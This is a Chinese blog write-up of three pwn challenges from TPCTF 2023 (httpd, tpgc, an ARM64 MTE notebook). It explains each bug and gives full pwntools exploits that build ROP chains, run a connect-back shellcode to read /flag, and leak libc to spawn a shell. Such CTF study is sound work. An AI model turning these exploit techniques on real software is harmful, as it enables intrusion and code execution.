2023 TPCTF pwn wp

o4赢但我爆零的一集,主题:洞呢???为什么找不到洞啊!!!

httpd

逆向

http要求👇

  • Content-Length:指定data长度,POST方法必须有

  • Stdout:可以指定输出的fd

  • GET的可选url

    • init

      初始化root用户的passwd,新建一个user_note并插入

    • test

      输出test123123

    • setlocale

      调用setlocale

    • register

      新建一个user_note,需要username,passwd,uid和lens

    • logoff

      需要username和passwd,删除对应user_note

    • show

      需要username和passw,输出对应user_note的内容

    • poweroff

      退出

  • POST可以输入note内容,需要usename和passwd

利用

  • 使用show功能输出user_note内容时最终会调用bad_400(输出400 BAD REQUEST的函数),将note->buffer中内容复制到s数组中

    register可以申请的最大大小是0x400,s的大小是0x408,但root的note大小是0x4f8,可以溢出

  • root的密码是伪随机,可以预测

    编一个这样的程序,需要的时候调用

  • show和更改note内容需要uid == 0,还限制了uid != 0

    但uid是根据 : 的个数判断的,我们可以输入形如 a​:b:0 的username,这样会把uid判定为0

  • setlocale有cve(第一次在pwn题见利用cve,孤陋寡闻了(lll¬ω¬))

    从poc可以看出在setlocale之后使用对齐有两字节的溢出

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #include <stdio.h>
    #include <locale.h>

    int main (void)
    {
    if (setlocale (LC_ALL, ""))
    {
    printf ("1234567890123:\n");
    printf ("%0+ -'13ld:\n", 1234567L);
    }
    return 0;
    }

    理论上应该输出👇

    1
    2
    3
    4
    5
    1234567890123:
    +1,234,567 :

    1234567890123:
    +1,234,567 :

    但实际上👆

    register中就使用了对齐

    user_note结构体的布局👇

    1
    2
    3
    4
    5
    6
    7
    8
    struct user_note
    {
    struct user_note *prev;
    struct user_note *next;
    char name[32];
    char *buffer;
    size_t buffer_size;
    }

    name理论上最多31字节,溢出两字节,只要能溢出一个’\x00’到buffer指针就能修改别的堆块或者泄露地址(实测可以溢出一个空字节)

    是否能触发似乎与要对齐的字符串长度有关

  • 还要注意每次循环都会close(fd[0]),所以stdout和stderr最多泄露两次,不需要泄露的时候要通过Stdout重置fd

exp

  • 改buffer指针到栈上写ROP链mprotect,改栈的权限为7

  • 写shellcode进行connect后orw,另起一个nc监听端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
context.log_level='debug'
context.arch='amd64'
context.os='linux'

def init(fd):
http=b'GET /init\nStdout: '+str(fd).encode()+b'\n'
p.sendline(http)
rand=process('./get_rand')
value=rand.recv(13)
rand.close()
return value

def setlocal(data,fd):
http=b'GET /setlocale?'+data+b'\nStdout: '+str(fd).encode()+b'\n'
p.sendline(http)

def reg(name,pawd,uid,size,fd):
http=b'GET /register?'+b'username='+name+b'&password='+pawd+b'&uid='+str(uid).encode()+b'&len='+str(size).encode()+b'\nStdout: '+str(fd).encode()+b'\n'
p.sendline(http)

def logoff(name,pawd,fd):
http=b'GET /logoff?'+b'username='+name+b'&password='+pawd+b'\nStdout: '+str(fd).encode()+b'\n'
p.sendline(http)

def show(name,pawd,fd):
http=b'GET /show?'+b'username='+name+b'&password='+pawd+b'\nStdout: '+str(fd).encode()+b'\n'
p.sendline(http)

def edit(name,pawd,data,fd):
http=b'POST /note?'+b'username='+name+b'&password='+pawd+b'\nContent-Length: '+str(len(data)).encode()+b'\nStdout: '+str(fd).encode()+b'\n'
p.sendline(http)
sleep(1)
p.send(data)

def exit_():
http=b'GET /poweroff\n'
p.sendline(http)

p=process('./httpd')
libc=ELF('/home/eurus/ZZZCTF/tpctf/lib/x86_64-linux-gnu/libc.so.6')
passwd=init(3)
logoff(b'root',passwd,3)
passwd=init(3)
show(b'root',passwd,1)
p.recvuntil(b'\r\n\r\n')
libcbase=u64(p.recvuntil(b'\r\n')[:-2].ljust(8,b'\x00'))-0x1f6ce0
print(hex(libcbase))

setlocal(b'=', 3)
reg(b'a:a:0',b'a',3,0x110,3)
reg(b'b:b:0',b'b',3,0x20,3)
reg(b'c:c:0',b'c',1000,0x40,3)

environ_addr=libcbase+libc.symbols['environ']
payload=p64(environ_addr)+p64(0x1000)
edit(b'c',b'c',payload,3)

show(b'b',b'b',2)
p.recvuntil(b'\r\n\r\n')
stack=u64(p.recvuntil(b'\r\n')[:-2].ljust(8,b'\x00'))

payload=p64(stack-0x160)+p64(0x1000)
edit(b'c',b'c',payload,3)

rdi_addr=libcbase+0x240e5
rsi_addr=libcbase+0x2573e
rdx_addr=libcbase+0x26302
mprotect=libcbase+libc.symbols['mprotect']
payload=p64(rdi_addr)+p64(stack&0xfffffffffffff000)+p64(rsi_addr)+p64(0x2000)+p64(rdx_addr)+p64(7)+p64(mprotect)
payload+=p64(stack-0x120)
payload+=asm(shellcraft.connect('127.0.0.1',9001))
payload+=asm(shellcraft.open('/flag')+shellcraft.read(2,stack+0x1000,0x100)+shellcraft.write(1,stack+0x1000,0x100))
edit(b'b',b'b',payload,3)
p.interactive()

tpgc

个人经验,c++不是用来逆的也不是用来看的(ˉ▽ˉ;),主打一个盲猜

思路

一个菜单,有ruby,rod和weapon三个栈,功能

  • add
    • take_ruby:add,push ruby,可以输入name
    • take_rod:add,push rod,可以输入name
    • fuse:pop ruby,pop rod add,push weapon,可以输入name
  • delete
    • drop_ruby:pop,delete ruby
    • drop_rod:pop,delete rod
    • drop:pop,delete weapon,push ruby,push rod

根据两个wp缩过的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

def take_ruby(name):
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'Sign the name of the new owner here:\n',name)

def drop_ruby():
p.sendlineafter(b'> ',b'2')

def take_rod(name):
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'Sign the name of the new owner here:\n',name)

def drop_rod():
p.sendlineafter(b'> ',b'4')

def fuse(name):
p.sendlineafter(b'> ',b'5')
p.sendlineafter(b'Sign the name of the one who wants to fuse this new weapon here:\n',name)

def drop():
p.sendlineafter(b'> ',b'6')

def exitt():
p.sendlineafter(b'> ',b'7')

def default():
p.sendlineafter(b'> ',b'8')

p=process('./pwn')
take_rod(b'a'*0x781)
take_ruby(b'b'*4)
fuse(b'c')
drop()
drop_rod()
p.interactive()
  • 好像是把ruby和rod拼接后drop_rod寄了,先拼的ruby再拼的rod,实际执行的就是 (*ruby_name)(ruby_name),令ruby_name为printf的got表地址就能泄露libc基址了
  • 没开pie+aslr部分开启,堆基址是不变的,可以先把one_gadget的地址写到堆上,再令ruby_name为这个堆地址

ps:比赛的时候我没有试过drop之后drop_rod,也没有试过长输入(lll¬ω¬),记住了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

def take_ruby(name):
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'Sign the name of the new owner here:\n',name)

def drop_ruby():
p.sendlineafter(b'> ',b'2')

def take_rod(name):
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'Sign the name of the new owner here:\n',name)

def drop_rod():
p.sendlineafter(b'> ',b'4')

def fuse(name):
p.sendlineafter(b'> ',b'5')
p.sendlineafter(b'Sign the name of the one who wants to fuse this new weapon here:\n',name)

def drop():
p.sendlineafter(b'> ',b'6')

def exitt():
p.sendlineafter(b'> ',b'7')

def default():
p.sendlineafter(b'> ',b'8')

p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
take_rod(b'a'*0x781)
take_ruby(p64(elf.got['printf']))
fuse(b'c')
drop()
drop_rod()
libcbase=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))-libc.symbols['printf']
print(hex(libcbase))
one_addr=libcbase+0xe6aee
take_rod(p64(one_addr)+b'a'*(0x781-8))
take_ruby(p64(0x44ba80))
fuse(b'd')
drop()
drop_rod()
p.interactive()

mte notebook

调试起来好慢/(ㄒoㄒ)/~~

arm64 mte

一些个人理解

flag1可以帮助理解一下mte

  • 将指针的最高字节作为tag使用,如果指针的tag和之前打的tag不符则报错

    比如malloc一块内存,返回的指针最高字节就是打上的tag,使用指针的时候应该使用 0x600ffff9bc768b0 而不是 0xffff9bc768b0

  • 打tag通过软件进行,tag的验证通过硬件进行

    • tag的验证猜测通过在内存访问(ldr / str)时,同步检测tag是否匹配

    • 可以通过 STG 指令打tag(tag的粒度为16字节),flag1中有这个过程

      flag1的前16字节的tag是flag1的第一个字节

      接下来的tag分别是flag1的第4,8,12字节的低4bit

      可以通过以上tag的指针获取flag1

  • 搜索STG指令可以看到一个专门用于打tag的函数

    在malloc和free中都调用了这个函数

    • malloc会给返回的指针打上tag
    • free后会重新打tag,所以使用free后的内存会报错

思路

由于调试太慢失去耐心所以没自己搓exp,直接调试一遍星盟的exp

利用的根据

  • malloc的内存都打了tag,利用overlap会使用未打tag的内存,报错
  • free后会重新打tag,uaf之后使用的指针的tag是malloc的tag,报错
  • 堆以外的地址(比如main_arena)没打tag可以使用,之前泄露了栈地址,可以到栈上写rop链

两个结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct note
{
size_t idx;
char title[16];
struct page * page;
char description[96];
}

struct page
{
size_t idx;
struct page* next;
char content[96];
}
  • 10个note

  • 先drop掉0~7的note,填满tcache,把note[7]放进unsorted bin

  • 把note[7]申请回来作为page,note是0x90,page是0x80,但如果从0x90中分割0x80那么剩下0x10不足0x10,所以会直接返回0x90的note

    由于未初始化漏洞unsorted chunk的bk就是struct page的next,伪造需要写0x18字节,所以前移3页

    伪造完的page

  • 一样的步骤,这次把note[8]释放掉,写rop链,overwrite_page结束后开始rop链

    rop链就是利用 svc #0 进行系统调用

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context.log_level='debug'
context.arch='arm64'
context.os='linux'

def choosenote(idx):
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'> ',str(idx).encode())

def readpage():
p.sendlineafter(b'> ',b'2')

def editpage(data):
p.sendlineafter(b'> ',b'3')
for item in data:
p.sendlineafter(b'> ',hex(item)[2:].encode())

def nextpage():
p.sendlineafter(b'> ',b'4')

def addpage():
p.sendlineafter(b'> ',b'5')

def dropnote():
p.sendlineafter(b'> ',b'6')
p.sendlineafter(b'> ',b'1')

def exitt():
p.sendlineafter(b'> ',b'7')

p=process('./run.sh')
p.recvuntil(b'I\'ve put flag1 in 0x')
flag1=int(p.recvuntil(b',')[:-1],16)
print(hex(flag1))
p.sendlineafter(b'> ',b'2')

for i in range(8):
choosenote(i)
dropnote()

choosenote(9)
addpage()
nextpage()
nextpage()
nextpage()

editpage([0x61, flag1-0x90, 0])
choosenote(8)
dropnote()
choosenote(9)
addpage()
nextpage()
nextpage()
nextpage()

editpage([0x61, 0x4521b8, 1, flag1-0x80+0x10, 3, 0x42629c, flag1+0x1d0, 6, flag1] + [i + 1 for i in range(0xb)] + [0x400260] + [i + 1 for i in range(0xa)] + [0x45d028, 221] + [i + 1 for i in range(0x1c)] + [0x41a628, 1, 0x4521b8, 0x413c64, 1, 2, 3, 4, 0x413c64, flag1+0x1c8] + [0x68732f6e69622f, flag1+0x1c8, 0])

p.interactive()

2023 TPCTF pwn wp
http://akaieurus.github.io/2024/01/28/2023TPCTFpwnwp/
作者
Eurus
发布于
2024年1月28日
许可协议